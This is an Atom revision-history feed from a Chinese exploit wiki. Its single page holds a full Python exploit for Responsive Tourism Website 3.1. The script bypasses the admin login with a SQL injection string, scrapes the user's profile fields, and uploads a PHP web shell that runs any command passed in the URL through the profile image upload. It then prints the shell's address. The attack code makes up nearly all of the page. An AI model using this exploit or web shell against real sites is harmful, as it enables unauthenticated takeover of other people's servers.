<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn</id>
	<title>Responsive Tourism Website 3.1 遠程代碼執行漏洞/zh-cn - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-cn"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;action=history"/>
	<updated>2026-04-10T02:19:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5559&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==影响版本==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn&amp;diff=5559&amp;oldid=prev"/>
		<updated>2021-06-23T00:09:37Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影响版本==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==影响版本==&lt;br /&gt;
Version: V 3.1&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Responsive Tourism Website 3.1 - Remote Code Execution (RCE) (Unauthenticated)&lt;br /&gt;
# Date: 22.06.2021&lt;br /&gt;
# Exploit Author: Tagoletta (Tağmaç)&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/php/14838/simple-responsive-tourism-website-using-php-free-source-code.html&lt;br /&gt;
# Version: V 3.1&lt;br /&gt;
# Tested on: MacOS &amp;amp; Windows&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
&lt;br /&gt;
url = input(&amp;quot;TARGET = &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
if not url.startswith('http://') and not url.startswith('https://'):&lt;br /&gt;
    url = &amp;quot;http://&amp;quot; + url&lt;br /&gt;
if not url.endswith('/'):&lt;br /&gt;
    url = url + &amp;quot;/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
session.get(url + 'admin/login.php')&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;- Bypassing login -&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
login_url = url + &amp;quot;classes/Login.php?f=login&amp;quot;&lt;br /&gt;
login_data = {&amp;quot;username&amp;quot;: &amp;quot;admin' or '1'='1'#&amp;quot;, &amp;quot;password&amp;quot;: &amp;quot;admin' or '1'='1'#&amp;quot;}&lt;br /&gt;
session.post(login_url, cookies=session.cookies.get_dict(), data=login_data)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;- Protecting User -&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
protectSettings_url = url + 'admin/?page=user'&lt;br /&gt;
protectSetting_html = session.get(protectSettings_url)&lt;br /&gt;
protectSettings_parser = BeautifulSoup(protectSetting_html.text, 'html.parser')&lt;br /&gt;
&lt;br /&gt;
ids = protectSettings_parser.find('input', {'name':'id'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
firstname = protectSettings_parser.find('input', {'id':'firstname'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
lastname = protectSettings_parser.find('input', {'id':'lastname'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
username = protectSettings_parser.find('input', {'id':'username'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;User ID : &amp;quot; + ids)&lt;br /&gt;
print(&amp;quot;First Name : &amp;quot; + firstname)&lt;br /&gt;
print(&amp;quot;Last Name : &amp;quot; + lastname)&lt;br /&gt;
print(&amp;quot;Username : &amp;quot; + username)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;- OK -&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
let = string.ascii_lowercase&lt;br /&gt;
shellname = ''.join(random.choice(let) for i in range(15))&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;Shell uploading&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
upload_url = url + &amp;quot;classes/Users.php?f=save&amp;quot;&lt;br /&gt;
upload_headers = {&amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;, &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=----WebKitFormBoundary7gB8BDj2OLQBJbBT&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;}&lt;br /&gt;
upload_payload = &amp;quot;&amp;lt;?php if(isset($_GET['cmd'])){ echo '&amp;lt;b&amp;gt;Tagoletta&amp;lt;/b&amp;gt;&amp;lt;pre&amp;gt;'; $cmd = ($_GET['cmd']); system($cmd); echo '&amp;lt;/pre&amp;gt;'; die; } ?&amp;gt;&amp;quot;&lt;br /&gt;
upload_data = &amp;quot;------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;id\&amp;quot;\r\n\r\n&amp;quot;+ids+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;firstname\&amp;quot;\r\n\r\n&amp;quot;+firstname+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;lastname\&amp;quot;\r\n\r\n&amp;quot;+lastname+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;username\&amp;quot;\r\n\r\n&amp;quot;+username+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;password\&amp;quot;\r\n\r\n\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;img\&amp;quot;; filename=\&amp;quot;&amp;quot;+shellname+&amp;quot;_Tagoletta.php\&amp;quot;\r\nContent-Type: application/octet-stream\r\n\r\n&amp;quot;+ upload_payload +&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT--\r\n&amp;quot;&lt;br /&gt;
upload = session.post(upload_url, headers=upload_headers, data=upload_data)&lt;br /&gt;
&lt;br /&gt;
if upload.status_code == 200:&lt;br /&gt;
    print(&amp;quot;- OK -&amp;quot;)&lt;br /&gt;
    req = session.get(url + &amp;quot;/admin/?page=user&amp;quot;, headers=session.headers)&lt;br /&gt;
    parser = BeautifulSoup(req.text, 'html.parser')&lt;br /&gt;
    find_shell = parser.find('img', {'id':'cimg'})&lt;br /&gt;
    print(&amp;quot;Shell URL : &amp;quot; + find_shell.get(&amp;quot;src&amp;quot;) + &amp;quot;?cmd=whoami&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;- NO :( -&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>